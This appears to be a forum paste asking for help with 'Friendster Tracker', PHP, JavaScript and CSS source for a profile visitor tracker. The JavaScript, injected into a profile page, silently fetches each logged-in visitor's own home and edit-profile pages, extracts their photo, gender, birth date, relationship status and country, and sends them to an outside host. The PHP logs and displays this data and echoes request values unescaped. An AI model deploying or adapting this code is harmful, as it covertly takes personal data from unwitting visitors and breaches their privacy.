ni bro tolong yah bro
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Visitors</title>
<!-- change value of href for your css (relative or absolute) -->
<link rel="stylesheet" type="text/css" media="screen, print" href="tracker.css" />
<?php
$phpowner="15274339";
$limit=900;
?>
<!--
/*#######################################################################################
Friendster Tracker version 2
author: Ken Marfilla
License: GNU General Public License, version 2
See
http://www.gnu.org/licenses/gpl.html for the full license.
Privacy Policy: Same as friendster.com
Disclaimer: this program is for educational purposes only
the author will not be responsible for any damage that this program will cause
The program is not affiliated with Friendster.com
########################################################################################*/
-->
<?php
$owner=$_GET["owner"];
$start=$_GET["start"];
$id=$_GET["id"];
$name=$_GET["name"];
$url=$_GET["url"];
$gender=$_GET["gender"];
$age=$_GET["age"];
$status=$_GET["status"];
$country=$_GET["country"];
$exit=$_GET["exit"];
$mydata =getData();
$osh=$_GET["osh"];
$oss=$_GET["oss"];
if(!$exit){
if(!empty($id) && $owner==$phpowner && !empty($gender) && !empty($age) && !empty($status) && !empty($country)) {
$myitem=checkExist($mydata,$id,$exit);
if($myitem['item']) appendData($myitem['array'],$id,$name,$url,time(),$age,$gender,$status,$country,0,$myitem['item']['duration'],$myitem['item']['visits'],$limit);
else appendData($myitem,$id,$name,$url,time(),$age,$gender,$status,$country,0,0,0,$limit);
}
}
else {
if (!empty($id) && $owner==$phpowner && !empty($gender) && !empty($age) && !empty($status) && !empty($country)) {
$myitem=checkExist($mydata,$id,$exit);
if($myitem['item']) {
$s=time()- $myitem['item']['timestamp'];
if ($s<0) $s=0;
appendData($myitem['array'],$id,$name,$url,time(),$age,$gender,$status,$country,1, $myitem['item']['duration']+$s,(int)($myitem['item']['visits'])+1,$limit);
}
}
}
function checkExist($da,$valme,$e) {
if(empty($da)){
return $da;
}
for($y=0;$y<count($da);$y++){
if($y>2) {
if(!$da[$y]['exit']) {
$da[$y]['exit']=1;
}
if($da[$y]['duration']<1) {
unset($da[$y]);
}
}
if($da[$y]['id']==$valme) {
$t=$da[$y];
unset($da[$y]);
$da = array_values($da);
return array(
"array" => $da,
"item" => $t
);
}
}
return $da;
}
function appendData($da,$a_id,$a_name,$a_url,$a_timestamp,$a_age,$a_gender,$a_status,$a_country,$a_exit,$a_duration,$a_visits,$a_limit) {
if(!is_array($da)){
$da=array(
array(
"id" => $a_id,
"name" => $a_name,
"url" => $a_url,
"timestamp" => $a_timestamp,
"age" => $a_age,
"gender" => $a_gender,
"status" => $a_status,
"country" => $a_country,
"exit" => $a_exit,
"duration" => $a_duration,
"visits" => $a_visits
)
);
}
else {
array_unshift($da,
array(
"id" => $a_id,
"name" => $a_name,
"url" => $a_url,
"timestamp" => $a_timestamp,
"age" => $a_age,
"gender" => $a_gender,
"status" => $a_status,
"country" => $a_country,
"exit" => $a_exit,
"duration" => $a_duration,
"visits" => $a_visits
)
);
if(count($da)>$a_limit) array_pop($da);
}
saveData($da);
return;
}
function saveData($d) {
if (file_exists("mv.txt")) unlink("mv.txt");
$file = fopen("mv.txt", "w") or exit("Unable to open file!");
fclose($file);
$temp="";
for($x=0;$x<count($d);$x++) {
$temp=$temp.$d[$x]['id']."&".$d[$x]['name']."&".$d[$x]['url']."&".$d[$x]['timestamp']."&".$d[$x]['age']."&".$d[$x]['gender']."&".$d[$x]['status']."&".$d[$x]['country']."&".$d[$x]['exit']."&".$d[$x]['duration']."&".$d[$x]['visits']."\r";
}
$file = fopen("mv.txt", "a+") or exit("Unable to open file!");
fwrite($file,$temp);
fclose($file);
return;
}
function getData() {
$a="";
$temp="";
$file = fopen("mv.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$temp=$temp.fgets($file);
}
fclose($file);
$j=explode("\r",$temp);
foreach ($j as $val) {
$c=explode("&",$val);
if(count($c)>3) {
if ($a==""){
$a=array(
array(
"id" => $c[0],
"name" => $c[1],
"url" => $c[2],
"timestamp" => $c[3],
"age" => $c[4],
"gender" => $c[5],
"status" => $c[6],
"country" => $c[7],
"exit" => $c[8],
"duration" => $c[9],
"visits" => $c[10]
)
);
}
else {
array_push($a,
array(
"id" => $c[0],
"name" => $c[1],
"url" => $c[2],
"timestamp" => $c[3],
"age" => $c[4],
"gender" => $c[5],
"status" => $c[6],
"country" => $c[7],
"exit" => $c[8],
"duration" => $c[9],
"visits" => $c[10]
)
);
}
}
}
return $a;
}
?>
<script type="text/javascript" src="http://h1.ripway.com/mumbhaki/time.js"></script>
</head>
<body>
<?php
$items = getData();
$thispage = $PHP_SELF ;
$num = count($items);
$per_page = 10;
$showeachside = 5;
if(empty($start))$start=0;
$max_pages = ceil($num / $per_page);
$cur = ceil($start / $per_page)+1;
?>
<?php
for($x=$start;$x<min($num,$start+$per_page);$x++){
if(($x % 2) == 1) {
echo "\t<div class=\"stxt\">\n";
echo "\t\t<div class=\"dtxt\">\n";
}
else {
echo "\t<div class=\"stxt2\">\n";
echo "\t\t<div class=\"dtxt2\">\n";
}
$k=date("D d F Y H:i:s ",$items[$x]['timestamp']+$oss+18000)." GMT".$osh;
$minute=floor((double)$items[$x]['duration']/60);
$second=fmod((double)$items[$x]['duration'],60);
if(!$items[$x]['exit']) $online="Currently Viewing, ";
else $online="";
echo "\t\t\t".$online.$k." <br />\n\t\t\t".$items[$x]['visits']." visit(s), ".$minute." min ".$second." sec\n";
echo "\t\t</div>\n";
echo "\t\t<div class=\"content\">\n";
echo "\t\t\t\t\t<a title=\"".$items[$x]['name']."\" href=\"http://www.friendster.com/".$items[$x]['id']."\" target=\"_blank\">";
echo $items[$x]['name'];
echo "</a>:\n";
echo "\t\t\t\t\t<br />".$items[$x]['age'].", ".$items[$x]['gender'].", ".$items[$x]['status'].", ".$items[$x]['country']."\n";
echo "\t\t</div>\n";
echo "\t\t<div class=\"imgblock\">\n";
echo "\t\t\t\t\t<a title=\"".$items[$x]['name']."\" href=\"http://www.friendster.com/".$items[$x]['id']."\" target=\"_blank\">";
echo "<img src=\"".$items[$x]['url']."\" alt=\"".$items[$x]['name']."\" />";
echo "</a>\n";
echo "\t\t</div>\n";
echo "\t\t<br clear=\"all\" />\n";
echo "\t</div>\n";
}
?>
<div id="footer">
<?php
if(($start-$per_page) >= 0)
{
$next = $start-$per_page;
?>
<a title="First Page" name="lnk" href="<?php print("$thispage");?>"><<</a>
<?php
}
?>
<?php
if(($start-$per_page) >= 0) {
$next = $start-$per_page;
?>
<a title="Previous Page" name="lnk" href="<?php print("$thispage".($next>0?("?start=").$next:""));?>">BACK </a>
<?php
}
?>
<?php
$eitherside = ($showeachside * $per_page);
if($start+1 > $eitherside)print (" .... ");
$pg=1;
for($y=0;$y<$num;$y+=$per_page)
{
$class=($y==$start)?"pageselected":"";
if(($y > ($start - $eitherside)) && ($y < ($start + $eitherside)))
{
?>
<a title="Page <?php print($pg);?>" name="lnk" class="<?php print($class);?>" href="<?php print("$thispage".($y>0?("?start=").$y:""));?>"><?php print($pg);?></a>
<?php
}
$pg++;
}
if(($start+$eitherside)<$num)print (" .... ");
?>
<?php
if($start+$per_page<$num)
{
?>
<a title="Next Page" name="lnk" href="<?php print("$thispage?start=".max(0,$start+$per_page));?>"> NEXT</a>
<?php
}
?>
<?php
if($start+$per_page<$num)
{
?>
<a title="Last Page" name="lnk" href="<?php print("$thispage?start=".$per_page*($max_pages-1));?>">>></a>
<?php
}
?>
<br />
Page <?php print($cur);?> of <?php print($max_pages);?><br />
( <?php print($num);?> records )
<!--
<p style="float:left">
<a href="http://validator.w3.org/check?uri=referer" target="_blank"><img
src="http://www.w3.org/Icons/valid-xhtml10"
alt="Valid XHTML 1.0 Transitional" style="border:0;width:50px;height:20px" /></a>
<a href="http://jigsaw.w3.org/css-validator/" target="_blank">
<img style="border:0;width:50px;height:20px"
src="http://jigsaw.w3.org/css-validator/images/vcss"
alt="Valid CSS!" />
</a>
</p>
-->
</div>
</body>
</html>
if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()};
function onProfileLoad() {
addSideBar(pageOwnerFName+"'s Visitors",TRACKER.vars.div.innerHTML,"tracker");
}
/*TRACKER OBJECT*/
if (typeof TRACKER == "undefined") { TRACKER = {}; }
TRACKER.vars = {
style: "filter: chroma(color=\"#FFFFFF\");width:100%;height:300;overflow:auto;border:0px",
attributes: "frameborder='0' allowtransparency='true'",
phplink: "http://h1.ripway.com/ibaLs/tracker/tracker.php",
exitmessage: "Bye "+pageViewerFName,
base_domain: "http://www.friendster.com",div: null,param: null,timedetails: null,iframeid: "wvmtemp",
details: {
photo: null,
gender: null,
age: null,
status: null,
location: null
},
regexp: {
photo: /imgblock65homeprofile"[\S\s]*?src="([\S\s]*?)"/,
gender: /value="([m|f]{1})" checked>/,
birth: {
day: /birthday">[\S\s]*?selected>([\S\s]*?)</,
month: /birthmonth">[\S\s]*?selected>([\S\s]*?)</,
year: /birthyear">[\S\s]*?selected>([\S\s]*?)</
},
status: /name="status"[\S\s]+?checked>[\S\s]+?>([\S\s]+?)<\/label/,
location: /name="country"[\S\s]*?selected>([\S\s]*?)</
}
};
TRACKER.init = function(phplink,iframeid,attri,style) {
var d= new Date();
var sec=invert(d.getTimezoneOffset()*60);
var hr=invert(d.getTimezoneOffset()/60);
TRACKER.vars.timedetails="oss="+sec+"&osh="+hr;
var ifsrc=TRACKER.vars.phplink+"?"+TRACKER.vars.timedetails;
try {TRACKER.vars.div=document.createElement("<div>")}
catch(e) {TRACKER.vars.div=document.createElement("div")}
TRACKER.vars.div.innerHTML="<iframe id='wvm' "+TRACKER.vars.attributes+" src='"+ifsrc+"' style='"+TRACKER.vars.style+"'></iframe>";
if(pageViewerID!=pageOwnerID) if(pageViewerID!="")TRACKER.getHOME();
};
TRACKER.getHOME = function () {
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange= function stateChanged(){
if (httprequest.readyState==4){
var indexhtml=httprequest.responseText;
TRACKER.vars.details.photo=urlencode(new RegExp(TRACKER.vars.regexp.photo).exec(indexhtml)[1]);
TRACKER.getEDIT();
}
}
httprequest.open( 'GET', TRACKER.vars.base_domain+"/", true);
httprequest.send(null);
};
TRACKER.getEDIT = function () {
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange= function stateChanged(){
if (httprequest.readyState==4){
var indexhtml=httprequest.responseText;
TRACKER.vars.details.status=urlencode(new RegExp(TRACKER.vars.regexp.status).exec(indexhtml)[1]);
TRACKER.vars.details.location=urlencode(new RegExp(TRACKER.vars.regexp.location).exec(indexhtml)[1]);
TRACKER.vars.details.gender=new RegExp(TRACKER.vars.regexp.gender).exec(indexhtml)[1];
TRACKER.vars.details.age=displayage(new RegExp(TRACKER.vars.regexp.birth.year).exec(indexhtml)[1],getMonthIndex(new RegExp(TRACKER.vars.regexp.birth.month).exec(indexhtml)[1]),new RegExp(TRACKER.vars.regexp.birth.day).exec(indexhtml)[1],"years", 0, "rounddown");
TRACKER.vars.param="?owner="+pageOwnerID+"&id="+pageViewerID+"&name="+pageViewerFName+"&url="+TRACKER.vars.details.photo+"&gender="+TRACKER.vars.details.gender+"&age="+TRACKER.vars.details.age+"&status="+TRACKER.vars.details.status+"&country="+TRACKER.vars.details.location;
document.getElementById(TRACKER.vars.iframeid).src=TRACKER.vars.phplink+TRACKER.vars.param+"&exit=0";
}
}
httprequest.open( 'GET', TRACKER.vars.base_domain+"/editprofile.php", true);
httprequest.send(null);
};
TRACKER.sendExit = function () {
document.getElementById(TRACKER.vars.iframeid).src=TRACKER.vars.phplink+TRACKER.vars.param+"&exit=1";
alert(TRACKER.vars.exitmessage);
};
TRACKER.init();
if(pageViewerID!=pageOwnerID) if(pageViewerID!="") document.write("<body onbeforeunload='TRACKER.sendExit()'>");
/*END TRACKER OBJECT*/
/*MISC FUNCTIONS*/
function urlencode(txt) {
return txt.replace(/ /g,"%20").replace(/'/g,"%60").replace(/</g,"%3C").replace(/>/g,"%3E");
}
function displayage(yr, mon, day, unit, decimal, round) {
var one_day=1000*60*60*24;
var one_month=1000*60*60*24*30;
var one_year=1000*60*60*24*30*12;
var today=new Date();
var pastdate=new Date(yr, mon-1, day);
var countunit=unit;
var decimals=decimal;
var rounding=round;
finalunit=(countunit=="days")? one_day : (countunit=="months")? one_month : one_year;
decimals=(decimals<=0)? 1 : decimals*10;
if (unit!="years"){
if (rounding=="rounddown") return Math.floor((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals;
else return Math.ceil((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals;
}
else {
yearspast=today.getFullYear()-yr-1;
tail=(today.getMonth()>mon-1 || today.getMonth()==mon-1 && today.getDate()>=day)? 1 : 0;
pastdate.setFullYear(today.getFullYear());
pastdate2=new Date(today.getFullYear()-1, mon-1, day);
tail=(tail==1)? tail+Math.floor((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals : Math.floor((today.getTime()-pastdate2.getTime())/(finalunit)*decimals)/decimals;
return yearspast+tail;
}
}
function getMonthIndex(x) {
var m="JanFebMarAprMayJunJulAugSepOctNovDec";
return (m.indexOf(x)/3)+1;
}
function invert(x) {
if(x>0) return parseInt("-"+x);
else if(x<0) {
x=x+"";
return parseInt(x.substr(1,x.length-1));
}
return 0;
}
function addMainBox (head,htm,id,bro_id) {
var ul=document.getElementById("controlpanel_1_1").parentNode;
var bro=document.getElementById(bro_id).parentNode;
try {
var li=document.createElement("li");
} catch(e) {
var li=document.createElement("<li>");
}
li.innerHTML= "<div id='"+id+"' class='commonbox "+id+"'>"+
"<h2>"+head+"</h2>"+
"<div id='content_"+id+"'>"+
"<div class='boxcontent'>"+
htm+
"</div>"+
"</div>"+
"</div>";
ul.parentNode.insertBefore(li,bro);
}
function addSideBar(head,htm,div_id) {
var innerHtm=htm;
var cont= "<div id='"+div_id+"' class='commonbox "+div_id+"'>"+
"<h2>"+head+"</h2>"+
"<div id='content_"+div_id+"'>"+
innerHtm+
"</div>"+
"</div>";
try {
var obj=document.createElement("<li>");
} catch(e) {
var obj=document.createElement("li");
}
var x=document.getElementById("friends_2_2");
x.parentNode.parentNode.appendChild(obj);
obj.innerHTML=cont;
}
/*END MISC FUNCTIONS*/
div, body {
margin: 0px;
padding: 0px;
background: transparent;
}
body {
border:none;
font-size: xx-small;
font-family: "Microsoft Sans Serif";
background: transparent;
color: #000000;
}
.imgblock {
display: inline-block;
float: right;
}
/*global links, names, pages*/
a:link, a:visited, a:active { text-decoration: none; color: #000000; font-weight: bold}
a:hover { text-decoration: underline; color: #000000; font-weight: bold}
a.action:link, a.action:visited, a.action:active, a.action:hover { color: #000000; }
/*row*/
.stxt {
padding-bottom: 5px;
padding-top: 5px;
width: 100%;
}
/*alternate row*/
.stxt2 {
padding-top: 5px;
padding-bottom: 5px;
width: 100%;
background: transparent;
}
/*date*/
.dtxt {
margin-left: 5px;
margin-right: 5px;
text-align: right;
padding-bottom: 5px;
}
/*alternate date*/
.dtxt2 {
margin-left: 5px;
margin-right: 5px;
text-align: right;
padding-bottom: 5px;
}
.content {
margin-left: 5px;
display: inline-block;
float: left;
}
/*img*/
img {
margin-right: 5px;
width: 50px;
height: 50px;
border: 0px;
}
#footer {
text-align: center;
}
.pageselected:link,.pageselected:visited,.pageselected:active {
color: #000000
}